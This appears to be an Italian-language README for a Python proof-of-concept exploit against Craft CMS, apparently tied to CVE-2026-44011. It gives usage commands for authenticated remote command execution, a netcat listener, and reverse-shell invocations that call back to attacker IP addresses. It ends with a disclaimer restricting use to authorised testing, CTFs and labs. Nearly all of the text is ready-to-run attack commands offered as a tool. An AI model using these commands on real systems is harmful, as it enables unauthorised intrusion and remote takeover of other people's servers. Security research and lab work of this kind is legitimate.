Proof-of-concept in Python per CVE-2026-44011 in Craft CMS, che sfrutta l'esecuzione di codice in remoto autenticata con esecuzione di comandi e payload di reverse shell racchiusi in base64.
CVE-2026-44011-craft-rce-poc Utilizzo
Comando singolo: bash
python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'
Reverse shell (bash codificato in base64):
nc -lvnp 4444
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444
Se il target non riesce a raggiungere il tuo callback, puntalo esplicitamente:
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509
Disclaimer
Solo per test autorizzati, CTF e ambienti di laboratorio. Non utilizzare contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test.
